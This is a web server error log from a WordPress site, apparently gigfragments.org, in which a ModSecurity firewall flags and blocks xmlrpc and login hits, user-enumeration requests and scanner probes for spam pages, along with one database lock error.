[Sun Mar 22 03:21:43.936270 2026] [:error] [pid 23666:tid 23692] [client 46.135.108.127:26018] [client 46.135.108.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.135.108.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7vx8MCSeYGBmLsLig5wAAAARg"]
[Sun Mar 22 04:31:36.450590 2026] [:error] [pid 51468:tid 51485] [client 216.73.216.103:33587] [client 216.73.216.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.73.216.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab8AKE2TppSvA8W5CBRf-gAAAMk"]
[Sun Mar 22 04:55:41.536868 2026] [:error] [pid 51468:tid 51476] [client 46.135.108.127:29572] [client 46.135.108.127] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ab8FzU2TppSvA8W5CBRylAAAAMA"]
[Sun Mar 22 04:56:57.970694 2026] [:error] [pid 51468:tid 51481] [client 46.135.108.127:19289] [client 46.135.108.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.135.108.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab8GGU2TppSvA8W5CBRz4AAAAMU"]
[Sun Mar 22 04:57:55.014665 2026] [:error] [pid 51468:tid 51490] [client 46.135.108.127:20847] [client 46.135.108.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.135.108.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab8GU02TppSvA8W5CBR0jwAAAM4"]
[Sun Mar 22 04:58:53.517106 2026] [:error] [pid 51362:tid 51418] [client 46.135.108.127:27432] [client 46.135.108.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.135.108.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab8GjcOwPm3DXzTDjUefrQAAAFE"]
[Sun Mar 22 04:59:54.976543 2026] [:error] [pid 51468:tid 51499] [client 46.135.108.127:28088] [client 46.135.108.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.135.108.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab8Gyk2TppSvA8W5CBR1-gAAANc"]
[Sun Mar 22 05:00:56.192525 2026] [:error] [pid 51362:tid 51400] [client 46.135.108.127:21721] [client 46.135.108.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.135.108.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab8HCMOwPm3DXzTDjUegTQAAAEA"]
[Sun Mar 22 07:37:20.251112 2026] [:error] [pid 51468:tid 51490] [client 43.157.156.190:37204] [client 43.157.156.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ab8rsE2TppSvA8W5CBTGwAAAAM4"]
[Sun Mar 22 09:52:04.124750 2026] [:error] [pid 51363:tid 51436] [client 95.91.236.25:33226] [client 95.91.236.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.91.236.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab9LRFwa9x6OCTRkhl2apgAAAIc"]
[Sun Mar 22 11:37:10.949562 2026] [:error] [pid 51361:tid 51376] [client 185.198.240.54:57993] [client 185.198.240.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.54, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab9j5hXYUsdvKC9YWpVyXQAAAAU"]
[Sun Mar 22 12:02:33.296174 2026] [:error] [pid 51363:tid 51441] [client 45.150.164.193:6374] [client 45.150.164.193] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ab9p2Vwa9x6OCTRkhl3GFgAAAIw"]
[Sun Mar 22 12:14:56.708392 2026] [:error] [pid 40039:tid 40053] [client 185.198.240.84:43881] [client 185.198.240.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.84, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab9swB3aDgUJfBYishn5ZgAAAQw"]
[Sun Mar 22 12:14:56.708467 2026] [:error] [pid 51362:tid 51414] [client 185.198.240.69:43339] [client 185.198.240.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab9swMOwPm3DXzTDjUcPdwAAAE0"]
[Sun Mar 22 12:18:21.177196 2026] [:error] [pid 51468:tid 51490] [client 185.198.240.34:24119] [client 185.198.240.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.34, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab9tjU2TppSvA8W5CBRJzgAAAM4"]
[Sun Mar 22 12:18:21.177401 2026] [:error] [pid 51468:tid 51489] [client 185.198.240.80:27737] [client 185.198.240.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.80, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab9tjU2TppSvA8W5CBRJzwAAAM0"]
[Sun Mar 22 12:25:12.524570 2026] [:error] [pid 51468:tid 51490] [client 185.198.240.60:46555] [client 185.198.240.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab9vKE2TppSvA8W5CBRMZAAAAM4"]
[Sun Mar 22 12:28:35.597250 2026] [:error] [pid 51468:tid 51476] [client 185.198.240.61:63621] [client 185.198.240.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.61, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab9v802TppSvA8W5CBRNrAAAAMA"]
[Sun Mar 22 13:33:54.266286 2026] [:error] [pid 51363:tid 51444] [client 180.110.203.108:41666] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ab9_Qlwa9x6OCTRkhl3lKwAAAI8"]
[Sun Mar 22 15:33:05.892519 2026] [proxy_fcgi:error] [pid 51468:tid 51488] [client 185.191.171.4:37448] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_postmeta` SET `meta_value` = '{\\"timeout\\":1774251185,\\"value\\":{\\"content\\":\\"<div class=\\\\\\"elementor-element elementor-element-d8452a7 e-flex e-con-boxed e-con e-parent\\\\\\" data-id=\\\\\\"d8452a7\\\\\\" data-element_type=\\\\\\"container\\\\\\" data-e-type=\\\\\\"container\\\\\\" data-settings=\\\\\\"{&quot;background_background&quot;:&quot;classic&quot;}\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t<div class=\\\\\\"e-con-inner\\\\\\">\\\\n\\\\t\\\\t<div class=\\\\\\"elementor-element elementor-element-ea7f62a e-con-full e-flex e-con e-child\\\\\\" data-id=\\\\\\"ea7f62a\\\\\\" data-element_type=\\\\\\"container\\\\\\" data-e-type=\\\\\\"container\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-element elementor-element-d326fbc elementor-widget elementor-widget-image\\\\\\" data-id=\\\\\\"d326fbc\\\\\\" data-element_type=\\\\\\"widget\\\\\\" data-e-type=\\\\\\"widget\\\\\\" data-widget_type=\\\\\\"image.default\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-widget-container\\\\\\">\\\\n\\\\t\\\\t\\...'
[Sun Mar 22 16:09:59.387579 2026] [:error] [pid 51362:tid 51415] [client 43.130.139.136:54234] [client 43.130.139.136] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ab-j18OwPm3DXzTDjUdMbAAAAE4"]
[Sun Mar 22 19:33:40.700105 2026] [:error] [pid 51363:tid 51432] [client 145.239.65.133:43610] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "ab_TlFwa9x6OCTRkhl2b3AAAAIQ"]
[Sun Mar 22 19:33:42.625039 2026] [:error] [pid 40039:tid 40064] [client 145.239.65.133:35280] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "ab_Tlh3aDgUJfBYishmpdwAAARc"]
[Sun Mar 22 19:33:44.531862 2026] [:error] [pid 40039:tid 40052] [client 145.239.65.133:35292] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "ab_TmB3aDgUJfBYishmpewAAAQs"]
[Sun Mar 22 19:33:46.498153 2026] [:error] [pid 30166:tid 30185] [client 145.239.65.133:35584] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "ab_Tmrm4_26jKMD0zy3ZDwAAAUo"]
[Sun Mar 22 19:33:48.484886 2026] [:error] [pid 30166:tid 30184] [client 145.239.65.133:35600] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "ab_TnLm4_26jKMD0zy3ZEwAAAUk"]
[Sun Mar 22 19:33:50.598794 2026] [:error] [pid 51468:tid 51496] [client 145.239.65.133:35612] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "ab_Tnk2TppSvA8W5CBRHAQAAANQ"]
[Sun Mar 22 19:33:52.662679 2026] [:error] [pid 51363:tid 51444] [client 145.239.65.133:35626] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "ab_ToFwa9x6OCTRkhl2b5wAAAI8"]
[Sun Mar 22 19:33:54.432887 2026] [:error] [pid 51362:tid 51422] [client 145.239.65.133:35642] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "ab_TosOwPm3DXzTDjUerWwAAAFU"]
[Sun Mar 22 19:33:56.257519 2026] [:error] [pid 51362:tid 51411] [client 145.239.65.133:35412] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "ab_TpMOwPm3DXzTDjUerXgAAAEo"]
[Sun Mar 22 19:33:58.093083 2026] [:error] [pid 51363:tid 51439] [client 145.239.65.133:35424] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "ab_Tplwa9x6OCTRkhl2cAwAAAIo"]
[Sun Mar 22 19:34:00.101523 2026] [:error] [pid 51363:tid 51439] [client 145.239.65.133:35432] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "ab_TqFwa9x6OCTRkhl2cDwAAAIo"]
[Sun Mar 22 19:34:02.115168 2026] [:error] [pid 51468:tid 51485] [client 145.239.65.133:35448] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "ab_Tqk2TppSvA8W5CBRHHAAAAMk"]
[Sun Mar 22 19:34:04.167064 2026] [:error] [pid 51361:tid 51389] [client 145.239.65.133:35460] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "ab_TrBXYUsdvKC9YWpXYnwAAABE"]
[Sun Mar 22 19:34:06.025823 2026] [:error] [pid 51363:tid 51450] [client 145.239.65.133:53752] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "ab_Trlwa9x6OCTRkhl2cGgAAAJQ"]
[Sun Mar 22 19:34:07.862776 2026] [:error] [pid 51362:tid 51412] [client 145.239.65.133:53758] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "ab_Tr8OwPm3DXzTDjUeregAAAEs"]
[Sun Mar 22 19:34:10.011223 2026] [:error] [pid 51468:tid 51498] [client 145.239.65.133:53774] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "ab_Tsk2TppSvA8W5CBRHIAAAANY"]
[Sun Mar 22 19:34:11.936643 2026] [:error] [pid 51363:tid 51430] [client 145.239.65.133:53778] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "ab_Ts1wa9x6OCTRkhl2cLAAAAII"]
[Sun Mar 22 19:34:13.959624 2026] [:error] [pid 30166:tid 30177] [client 145.239.65.133:53782] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "ab_Ttbm4_26jKMD0zy3ZPAAAAUY"]
[Sun Mar 22 19:34:15.862260 2026] [:error] [pid 51468:tid 51494] [client 145.239.65.133:35598] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "ab_Tt02TppSvA8W5CBRHIwAAANI"]
[Sun Mar 22 19:34:17.791981 2026] [:error] [pid 40039:tid 40049] [client 145.239.65.133:35612] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ab_TuR3aDgUJfBYishmpngAAAQg"]
[Sun Mar 22 19:34:19.556223 2026] [:error] [pid 51363:tid 51450] [client 145.239.65.133:35614] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ab_Tu1wa9x6OCTRkhl2cMwAAAJQ"]
[Sun Mar 22 19:34:21.483985 2026] [:error] [pid 40039:tid 40065] [client 145.239.65.133:35624] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "ab_TvR3aDgUJfBYishmqRQAAARg"]
[Sun Mar 22 19:34:23.259886 2026] [:error] [pid 30166:tid 30173] [client 145.239.65.133:35626] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "ab_Tv7m4_26jKMD0zy3ZeQAAAUI"]
[Sun Mar 22 19:34:25.183849 2026] [:error] [pid 51362:tid 51407] [client 145.239.65.133:35634] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "ab_TwcOwPm3DXzTDjUerkwAAAEY"]
[Sun Mar 22 19:34:27.148279 2026] [:error] [pid 51362:tid 51422] [client 145.239.65.133:32976] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "ab_Tw8OwPm3DXzTDjUerlAAAAFU"]
[Sun Mar 22 19:34:29.226602 2026] [:error] [pid 30166:tid 30199] [client 145.239.65.133:32990] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "ab_Txbm4_26jKMD0zy3ZggAAAVY"]
[Sun Mar 22 19:34:31.127806 2026] [:error] [pid 40039:tid 40047] [client 145.239.65.133:32998] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "ab_Txx3aDgUJfBYishmqXgAAAQY"]
[Sun Mar 22 19:34:33.015869 2026] [:error] [pid 51363:tid 51432] [client 145.239.65.133:33008] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "ab_TyVwa9x6OCTRkhl2cTQAAAIQ"]
[Sun Mar 22 19:34:35.114032 2026] [:error] [pid 40039:tid 40062] [client 145.239.65.133:33022] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "ab_Tyx3aDgUJfBYishmqZQAAARU"]
[Sun Mar 22 20:13:12.541345 2026] [:error] [pid 30166:tid 30191] [client 52.139.36.109:45661] [client 52.139.36.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "ab_c2Lm4_26jKMD0zy3mhgAAAVA"]
[Sun Mar 22 20:13:13.367447 2026] [:error] [pid 51361:tid 51384] [client 52.139.36.109:53287] [client 52.139.36.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "ab_c2RXYUsdvKC9YWpXdiQAAAA0"]
[Sun Mar 22 20:13:14.192355 2026] [:error] [pid 51363:tid 51431] [client 52.139.36.109:59276] [client 52.139.36.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "ab_c2lwa9x6OCTRkhl21ZQAAAIM"]
